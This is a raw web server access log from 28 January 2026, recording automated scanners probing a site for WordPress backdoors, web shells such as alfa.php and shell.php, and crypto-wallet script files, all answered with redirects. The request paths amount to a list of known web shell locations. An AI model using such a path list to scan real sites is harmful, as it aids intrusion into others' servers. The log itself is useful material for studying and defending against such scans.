[28/Jan/2026:12:49:10 +0300] "GET //content.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:49:24 +0300] "GET /trc/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:50:06 +0300] "GET /backend/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:50:09 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:50:40 +0300] "GET //user.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:50:57 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:50:58 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:51:02 +0300] "GET /wp4.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:52:58 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:42:40 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:43:45 +0300] "GET //wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:46:25 +0300] "GET /ho/wpup.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:47:05 +0300] "GET /index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:47:46 +0300] "GET /apsarasarts/okk.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:48:32 +0300] "GET //wp-content/json.php HTTP/1.1" 301 795 "-" "-" 43.159.128.237 - - [28/Jan/2026:12:49:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 77.90.185.247 - - [28/Jan/2026:12:49:33 +0300] "GET /trc/trc20.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:51:32 +0300] "GET //sad/about.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:51:44 +0300] "GET /oivcl.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:51:47 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:51:51 +0300] "GET //wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:53:08 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:53:34 +0300] "GET /des.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:42:53 +0300] "GET /cool.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:43:11 +0300] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:47:13 +0300] "GET /src/server.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:47:58 +0300] "GET /dist/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:48:15 +0300] "GET //about/function.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:48:44 +0300] "GET /crypto/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:48:47 +0300] "GET /hzz.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:49:17 +0300] "GET /tron/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:49:46 +0300] "GET /trc20/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:42:34 +0300] "GET /mds.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:44:12 +0300] "GET /.trash7309/fafa/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:45:10 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:47:05 +0300] "GET /src/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:47:21 +0300] "GET //1337.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:47:51 +0300] "GET /api/app.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 77.90.185.247 - - [28/Jan/2026:12:48:06 +0300] "GET /build/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:48:09 +0300] "GET /jmfi2.php HTTP/1.1" 301 795 "-" "-" 77.90.185.247 - - [28/Jan/2026:12:49:58 +0300] "GET /bep20/index.js HTTP/1.1" 301 795 "-" "Python-urllib/3.9" 4.241.184.25 - - [28/Jan/2026:12:50:30 +0300] "GET //wp-content/plugins/achdxhv/languages/admin.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:51:19 +0300] "GET //wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:51:22 +0300] "GET /asd67.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:52:09 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:52:13 +0300] "GET //.cache/x.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:52:49 +0300] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:53:20 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:53:26 +0300] "GET //404.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:53:39 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 4.241.184.25 - - [28/Jan/2026:12:53:42 +0300] "GET //lufix.php HTTP/1.1" 301 795 "-" "-" 40.83.96.65 - - [28/Jan/2026:14:42:28 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 40.83.96.65 - - [28/Jan/2026:14:42:37 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 134.209.160.142 - - [28/Jan/2026:15:34:53 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 167.88.165.61 - - [28/Jan/2026:16:18:28 +0300] "GET /kickstart.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 89.110.99.186 - - [28/Jan/2026:17:30:21 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 145.239.69.153 - - [28/Jan/2026:16:41:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 206.189.42.112 - - [28/Jan/2026:17:27:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 145.239.69.153 - - [28/Jan/2026:16:40:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 49.51.196.42 - - [28/Jan/2026:17:46:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 119.28.89.249 - - [28/Jan/2026:18:44:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.87.14 - - [28/Jan/2026:20:12:07 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 4.197.94.190 - - [28/Jan/2026:19:30:26 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 173.252.87.2 - - [28/Jan/2026:20:12:08 +0300] "GET / HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 20.214.185.45 - - [28/Jan/2026:20:33:10 +0300] "GET /R.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:13 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:14 +0300] "GET /ph33w.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:17 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:19 +0300] "GET /it.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:23 +0300] "GET /wwx.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:24 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:26 +0300] "GET /413.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:29 +0300] "GET /1a.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:31 +0300] "GET /z9v.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:35 +0300] "GET /thebe.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:37 +0300] "GET /ddd.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:41 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:44 +0300] "GET /sad5.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:47 +0300] "GET /xvde.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:50 +0300] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:53 +0300] "GET /f355.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:56 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:59 +0300] "GET /wp-mt.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:02 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:23 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:26 +0300] "GET /xpwer1.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:28 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:23 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:28 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:32 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:36 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:37 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:37 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:46 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:48 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:51 +0300] "GET /jane.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:55 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:56 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:59 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:01 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:05 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:08 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:12 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:16 +0300] "GET //class.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:23 +0300] "GET /wp-admin/css/colors/midnight/about.php?p= HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:56 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:59 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:01 +0300] "GET /bipas.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:28:32 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:57 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:01 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:02 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:05 +0300] "GET /ss1.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:08 +0300] "GET //assets/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:30 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:34 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:37 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:38 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:44 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:46 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:47 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:50 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:51 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:54 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:54 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:59 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:01 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:31 +0300] "GET /gec.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:35 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:38 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:42 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:45 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:47 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:37:50 +0300] "GET //lock360.php HTTP/1.1" 301 795 "-" "-" 185.242.3.2 - - [28/Jan/2026:20:38:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.214.185.45 - - [28/Jan/2026:20:38:43 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:45 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:48 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:49 +0300] "GET /wp-includes/ID3/about.php?p= HTTP/1.1" 301 795 "-" "-" 185.242.3.2 - - [28/Jan/2026:20:39:14 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.214.185.45 - - [28/Jan/2026:20:40:39 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:40:40 +0300] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:43 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:46 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:49 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:52 +0300] "GET /admins.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:54 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:57 +0300] "GET /temp.php/wp-update.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:28:37 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:28:40 +0300] "GET /bnn_.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:28:42 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:28:44 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:28:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:28:46 +0300] "GET /reze.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:28:49 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:28:53 +0300] "GET /wwx.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:28:56 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 185.242.3.2 - - [28/Jan/2026:20:38:29 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.214.185.45 - - [28/Jan/2026:20:40:48 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 93.158.91.35 - - [28/Jan/2026:21:06:39 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 20.214.185.45 - - [28/Jan/2026:20:34:11 +0300] "GET /3r.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:14 +0300] "GET /8xyz.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:34:17 +0300] "GET /la.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:35:19 +0300] "GET //goods.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:59 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:32:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:32:36 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:32:39 +0300] "GET /rei.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:32:42 +0300] "GET /ma.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:32:45 +0300] "GET /tourpa.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:32:48 +0300] "GET /zs.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:32:52 +0300] "GET /save.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:32:55 +0300] "GET /X5fCS.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:32:59 +0300] "GET /jsond.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:33:03 +0300] "GET /aa2.php HTTP/1.1" 301 795 "-" "-" 185.242.3.2 - - [28/Jan/2026:20:38:29 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.242.3.2 - - [28/Jan/2026:20:38:29 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.214.185.45 - - [28/Jan/2026:20:40:15 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:40:54 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:40:58 +0300] "GET /wag.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:02 +0300] "GET /xvent.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:06 +0300] "GET /wp-aaa.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:09 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:12 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:16 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:17 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:19 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:23 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:26 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:28 +0300] "GET /bp.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:41:31 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [28/Jan/2026:20:29:01 +0300] "GET /uploaxa1.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:39:45 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 148.113.215.71 - - [28/Jan/2026:21:15:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Faraday v2.14.0" 20.214.185.45 - - [28/Jan/2026:20:38:04 +0300] "GET /shoyo.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:07 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:11 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:13 +0300] "GET /blurbs18.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:16 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:19 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:22 +0300] "GET /bless14.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:25 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:38:28 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 185.242.3.2 - - [28/Jan/2026:20:38:29 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.214.185.45 - - [28/Jan/2026:20:39:14 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:39:31 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:40:23 +0300] "GET /X7x.php HTTP/1.1" 301 795 "-" "-" 93.158.90.17 - - [28/Jan/2026:21:06:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 20.214.185.45 - - [28/Jan/2026:20:36:07 +0300] "GET /xtride.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:10 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:13 +0300] "GET /flower2.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:36:15 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:06 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:08 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:10 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - [28/Jan/2026:20:42:13 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 20.214.185.45 - - 